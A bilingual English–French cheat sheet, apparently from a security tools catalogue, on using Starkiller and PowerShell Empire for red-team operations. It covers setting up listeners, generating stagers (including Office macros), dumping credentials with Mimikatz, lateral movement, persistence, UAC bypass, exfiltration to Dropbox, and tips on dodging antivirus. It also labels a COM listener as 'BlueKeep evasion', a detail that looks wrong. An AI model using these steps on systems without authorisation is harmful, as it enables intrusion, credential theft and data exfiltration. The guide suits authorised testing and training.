starkiller

Interface web GUI pour le framework C2 PowerShell Empire. Fournit une interface graphique pour gérer les listeners, stagers, agents et modules d'Empire. Web-based GUI frontend for PowerShell Empire C2 framework. Provides a graphical interface for managing Empire listeners, stagers, agents, and modules.

↗ https://github.com/BC-SECURITY/Starkiller

Overview

Starkiller is the official web-based GUI for PowerShell Empire. It provides a visual interface for all Empire functionality — creating listeners, generating stagers, managing agents, running modules, and coordinating team red team operations. Replaces the older Empire CLI for most workflows.

Installation

# Starkiller is bundled with Empire 4.x+
# Install Empire (includes Starkiller)
git clone https://github.com/BC-SECURITY/Empire
cd Empire && ./setup/install.sh

Start Empire server

./ps-empire server
# Access Starkiller at: https://localhost:1337
# Default creds: empireadmin / password123

Getting Started

Start Empire server

./ps-empire server --host 0.0.0.0 --port 1337

Start Starkiller (usually auto-starts with Empire) Or install separately

npm install && npm run serve
# Login at: https://EMPIRE_HOST:1337
# Username: empireadmin  
# Password: (set during install, default: password123)

Listeners

# In Starkiller GUI:
# Listeners → Create → Select type

# Common listener types:
# HTTP     — standard HTTP listener
# HTTPS    — encrypted HTTP listener
# HTTP-COM — COM-based (BlueKeep evasion)
# HTTP-MAPI — Exchange/Outlook-based
# METERPRETER — Metasploit reverse

# Configure options:
# Host, Port, StagingKey, DefaultDelay
# CertPath (for HTTPS)

Stagers

# Stagers → Create → Select stager

# Common stager types:
# windows/launcher_bat     — .bat file delivery
# windows/launcher_vbs     — VBScript
# windows/launcher_powershell — PS1 script
# multi/launcher           — encoded PS command
# windows/macro            — Office macro

# Generated stager is copied to clipboard or saved to file

Agents (Sessions)

# All connected agents appear in Agents panel
# Each agent shows:
# - Name, Host, User, Process
# - Internal/External IP
# - Language (PowerShell, Python, C#)
# - Last check-in time

# Right-click agent → Interact → opens task interface
# Run modules directly from agent view

Modules

# Modules → Browse → Search for module

# Common modules:
# situational_awareness/network/get_spn    → Kerberoastable accounts
# collection/mimikatz/logonpasswords       → Mimikatz credential dump
# lateral_movement/invoke_psremoting       → PSRemoting lateral movement
# lateral_movement/invoke_smbexec          → SMBExec lateral movement
# persistence/elevated/registry            → Registry persistence
# privesc/bypassuac_env                    → UAC bypass
# exfiltration/exfil_dropbox              → Exfil to Dropbox

Credentials

# Credentials panel aggregates:
# - Hashes captured by Mimikatz modules
# - Plaintext passwords from various modules
# - Kerberos tickets

# Export credentials to CSV/JSON for use with other tools

Tips

  • Starkiller makes Empire accessible to team members who aren’t comfortable with CLI
  • The Credentials panel is valuable for tracking all captured creds in one place
  • Use HTTPS listener with a real cert + CDN for opsec
  • Empire/Starkiller agents have high AV detection — consider obfuscation or alternative C2
Empire CLI Commands (fallback)
# If GUI is unavailable, use Empire CLI:
./ps-empire client

(Empire) > listeners
(Empire) > uselistener http
(Empire) > set Host http://10.10.10.50
(Empire) > execute
(Empire) > usestager windows/launcher_bat
(Empire) > set Listener http
(Empire) > execute
(Empire) > agents
(Empire) > interact <agent_name>
(Empire: agent) > usemodule collection/mimikatz/logonpasswords
(Empire: agent) > execute

Vue d’ensemble

Starkiller est l’interface graphique web officielle de PowerShell Empire. Elle fournit une interface visuelle pour toutes les fonctionnalités d’Empire : créer des listeners, générer des stagers, gérer des agents, lancer des modules, et coordonner des opérations red team en équipe. Remplace l’ancienne CLI d’Empire pour la plupart des workflows.

Installation

# Starkiller est fourni avec Empire 4.x+
# Installer Empire (inclut Starkiller)
git clone https://github.com/BC-SECURITY/Empire
cd Empire && ./setup/install.sh

Démarrer le serveur Empire

./ps-empire server
# Accéder à Starkiller sur : https://localhost:1337
# Identifiants par défaut : empireadmin / password123

Prise en main

# Démarrer le serveur Empire
./ps-empire server --host 0.0.0.0 --port 1337

# Démarrer Starkiller (démarre généralement automatiquement avec Empire)
# Ou l'installer séparément
npm install && npm run serve
# Se connecter sur : https://EMPIRE_HOST:1337
# Utilisateur : empireadmin  
# Mot de passe : (défini pendant l'installation, par défaut : password123)

Listeners

# Dans l'interface Starkiller :
# Listeners → Create → sélectionner le type

# Types de listener courants :
# HTTP     : listener HTTP standard
# HTTPS    : listener HTTP chiffré
# HTTP-COM : basé sur COM (évasion BlueKeep)
# HTTP-MAPI : basé sur Exchange/Outlook
# METERPRETER : reverse Metasploit

# Configurer les options :
# Host, Port, StagingKey, DefaultDelay
# CertPath (pour HTTPS)

Stagers

# Stagers → Create → sélectionner le stager

# Types de stager courants :
# windows/launcher_bat     : livraison par fichier .bat
# windows/launcher_vbs     : VBScript
# windows/launcher_powershell : script PS1
# multi/launcher           : commande PS encodée
# windows/macro            : macro Office

# Le stager généré est copié dans le presse-papiers ou sauvegardé dans un fichier

Agents (sessions)

# Tous les agents connectés apparaissent dans le panneau Agents
# Chaque agent affiche :
# - Nom, Host, User, Process
# - IP interne/externe
# - Langage (PowerShell, Python, C#)
# - Dernier check-in

# Clic droit sur l'agent → Interact → ouvre l'interface de tâches
# Lancer des modules directement depuis la vue agent

Modules

# Modules → Browse → rechercher un module

# Modules courants :
# situational_awareness/network/get_spn    → comptes Kerberoastables
# collection/mimikatz/logonpasswords       → dump d'identifiants Mimikatz
# lateral_movement/invoke_psremoting       → mouvement latéral via PSRemoting
# lateral_movement/invoke_smbexec          → mouvement latéral via SMBExec
# persistence/elevated/registry            → persistance via registre
# privesc/bypassuac_env                    → contournement UAC
# exfiltration/exfil_dropbox              → exfiltration vers Dropbox

Identifiants

# Le panneau Credentials agrège :
# - Les hashes capturés par les modules Mimikatz
# - Les mots de passe en clair de divers modules
# - Les tickets Kerberos

# Exporter les identifiants en CSV/JSON pour utilisation avec d'autres outils

Conseils

  • Starkiller rend Empire accessible aux membres de l’équipe qui ne sont pas à l’aise avec la CLI
  • Le panneau Credentials est précieux pour suivre tous les identifiants capturés au même endroit
  • Utiliser un listener HTTPS avec un vrai certificat + un CDN pour l’OPSEC
  • Les agents Empire/Starkiller ont une forte détection AV : envisager l’obfuscation ou un C2 alternatif
Commandes CLI Empire (repli)
# If GUI is unavailable, use Empire CLI:
./ps-empire client

(Empire) > listeners
(Empire) > uselistener http
(Empire) > set Host http://10.10.10.50
(Empire) > execute
(Empire) > usestager windows/launcher_bat
(Empire) > set Listener http
(Empire) > execute
(Empire) > agents
(Empire) > interact <agent_name>
(Empire: agent) > usemodule collection/mimikatz/logonpasswords
(Empire: agent) > execute